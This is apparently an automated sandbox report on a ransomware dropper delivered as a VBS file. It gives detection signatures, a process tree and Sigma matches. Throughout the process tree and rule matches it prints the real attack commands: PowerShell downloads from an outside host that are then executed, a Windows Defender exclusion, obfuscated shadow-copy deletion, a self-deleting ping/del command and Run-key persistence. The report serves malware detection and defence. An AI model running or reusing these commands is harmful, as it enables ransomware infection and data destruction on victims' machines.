Edit tour

Windows Analysis Report
NOTIFICATION_OF_DEPENDANTS.vbs

Overview

General Information

Sample name:	NOTIFICATION_OF_DEPENDANTS.vbs
Analysis ID:	1575116
MD5:	35bac32c4a974aca6eb45625ea91bdb9
SHA1:	90b726a869c796b710340da2cdce72894cfb5321
SHA256:	f7cbe1d0926c6e0895951882ff430d624630cd14b4d3b1a4c837a3feac71dd48
Tags:	vbsuser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: Delete shadow copy via WMIC

VBScript performs obfuscated calls to suspicious functions

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Deletes shadow drive data (may be related to ransomware)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

May encrypt documents and pictures (Ransomware)

Modifies existing user documents (likely ransomware behavior)

Overwrites Mozilla Firefox settings

Powershell drops PE file

Sigma detected: Control Panel Items

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation STDIN+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Sigma detected: Suspicious Ping/Del Command Combination

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains capabilities to detect virtual machines

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potential Command Line Path Traversal Evasion Attempt

Sigma detected: PowerShell Web Download

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Stores large binary data to the registry

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7336 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7420 cmdline: "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7472 cmdline: powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf MD5: 04029E121A0CFA5991749937DD22A1D9)

chrome.exe (PID: 7660 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 7948 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2040,i,2996806537159820788,4098969065651386126,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cmd.exe (PID: 7720 cmdline: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7772 cmdline: powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 8272 cmdline: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8352 cmdline: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 8784 cmdline: "C:\Windows\System32\cmd.exe" /c control C:\Users\user\AppData\Local\Temp/fjeljies.cpl MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

control.exe (PID: 8928 cmdline: control C:\Users\user\AppData\Local\Temp/fjeljies.cpl MD5: 11C18DBF352D81C9532A8EF442151CB1)

rundll32.exe (PID: 9024 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user\AppData\Local\Temp/fjeljies.cpl MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 9044 cmdline: "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 C:\Users\user\AppData\Local\Temp/fjeljies.cpl MD5: 889B99C52A60DD49227C5E485A016679)

cmd.exe (PID: 3860 cmdline: cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7260 cmdline: powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 3664 cmdline: cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4020 cmdline: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 2656 cmdline: cmd /c %temp%/eryy65ty.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

eryy65ty.exe (PID: 8532 cmdline: C:\Users\user\AppData\Local\Temp/eryy65ty.exe MD5: 9049FABA5517305C44BD5F28398FB6B9)

WMIC.exe (PID: 8236 cmdline: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 5528 cmdline: c:\kXortE\kXor\..\..\Windows\kXor\kXor\..\..\system32\kXor\kXor\..\..\wbem\kXor\kXort\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 8540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8848 cmdline: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 7648 cmdline: ping 1.1.1.1 -n 1 -w 3000 MD5: B3624DD758CCECF93A1226CEF252CA12)

svchost.exe (PID: 7840 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

eryy65ty.exe (PID: 6708 cmdline: "C:\Users\user\AppData\Local\Temp\eryy65ty.exe" MD5: 9049FABA5517305C44BD5F28398FB6B9)

WMIC.exe (PID: 2948 cmdline: c:\OERBWD\OERB\..\..\Windows\OERB\OERB\..\..\system32\OERB\OERB\..\..\wbem\OERB\OERBW\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 4220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 5080 cmdline: c:\gejGMa\gejG\..\..\Windows\gejG\gejG\..\..\system32\gejG\gejG\..\..\wbem\gejG\gejGM\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 5748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4936 cmdline: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 5236 cmdline: ping 1.1.1.1 -n 1 -w 3000 MD5: B3624DD758CCECF93A1226CEF252CA12)

eryy65ty.exe (PID: 4008 cmdline: "C:\Users\user\AppData\Local\Temp\eryy65ty.exe" MD5: 9049FABA5517305C44BD5F28398FB6B9)

WMIC.exe (PID: 6980 cmdline: c:\FnbgXj\Fnbg\..\..\Windows\Fnbg\Fnbg\..\..\system32\Fnbg\Fnbg\..\..\wbem\Fnbg\FnbgX\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 7004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 4652 cmdline: c:\gBvDaO\gBvD\..\..\Windows\gBvD\gBvD\..\..\system32\gBvD\gBvD\..\..\wbem\gBvD\gBvDa\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 6420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6460 cmdline: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 4824 cmdline: ping 1.1.1.1 -n 1 -w 3000 MD5: B3624DD758CCECF93A1226CEF252CA12)

notepad.exe (PID: 7560 cmdline: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt MD5: 27F71B12CB585541885A31BE22F61C83)

cleanup

Sigma Signatures

Operating System Destruction

Sigma detected: Delete shadow copy via WMIC

Source: Process started

Author: Joe Security: Data: Command: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete, CommandLine: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete, CommandLine|base64offset|contains: (, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp/eryy65ty.exe, ParentImage: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ParentProcessId: 8532, ParentProcessName: eryy65ty.exe, ProcessCommandLine: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete, ProcessId: 8236, ProcessName: WMIC.exe

System Summary

Sigma detected: Control Panel Items

Source: Process started

Author: Kyaw Min Thein, Furkan Caliskan (@caliskanfurkan_): Data: Command: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8272, ParentProcessName: cmd.exe, ProcessCommandLine: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ProcessId: 8352, ProcessName: powershell.exe

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ProcessId: 8272, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation STDIN+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp, ProcessId: 7720, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\eryy65ty.exe . .d.....d. ....\.\...o..$.O "#..8.."P...8...c..S..."..#`..4....1..S.}..............]..................J....4.r...D.E........;.<.<.........1T.)n..n..^...O.`..............<.., EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ProcessId: 8532, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XPSUDTARW

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp, ProcessId: 7720, ProcessName: cmd.exe

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Source: Process started

Author: Florian Roth (Nextron Systems), Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades): Data: Command: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete, CommandLine: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete, CommandLine|base64offset|contains: (, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp/eryy65ty.exe, ParentImage: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ParentProcessId: 8532, ParentProcessName: eryy65ty.exe, ProcessCommandLine: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete, ProcessId: 8236, ProcessName: WMIC.exe

Sigma detected: Suspicious Ping/Del Command Combination

Source: Process started

Author: Ilya Krestinichev: Data: Command: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe", CommandLine: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp/eryy65ty.exe, ParentImage: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ParentProcessId: 8532, ParentProcessName: eryy65ty.exe, ProcessCommandLine: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe", ProcessId: 8848, ProcessName: cmd.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", ProcessId: 7336, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\eryy65ty.exe . .d.....d. ....\.\...o..$.O "#..8.."P...8...c..S..."..#`..4....1..S.}..............]..................J....4.r...D.E........;.<.<.........1T.)n..n..^...O.`..............<.., EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ProcessId: 8532, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XPSUDTARW

Sigma detected: Potential Command Line Path Traversal Evasion Attempt

Source: Process started

Author: Christian Burkard (Nextron Systems): Data: Command: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete, CommandLine: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete, CommandLine|base64offset|contains: (, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp/eryy65ty.exe, ParentImage: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ParentProcessId: 8532, ParentProcessName: eryy65ty.exe, ProcessCommandLine: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete, ProcessId: 8236, ProcessName: WMIC.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ProcessId: 8272, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ProcessId: 8532, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ProcessId: 8272, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", ProcessId: 7336, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf, CommandLine: powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7420, ParentProcessName: cmd.exe, ProcessCommandLine: powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf, ProcessId: 7472, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7840, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.4% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe

Joe Sandbox ML: detected

Source: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf	HTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/downloaded.pdf	HTTP Parser: No favicon
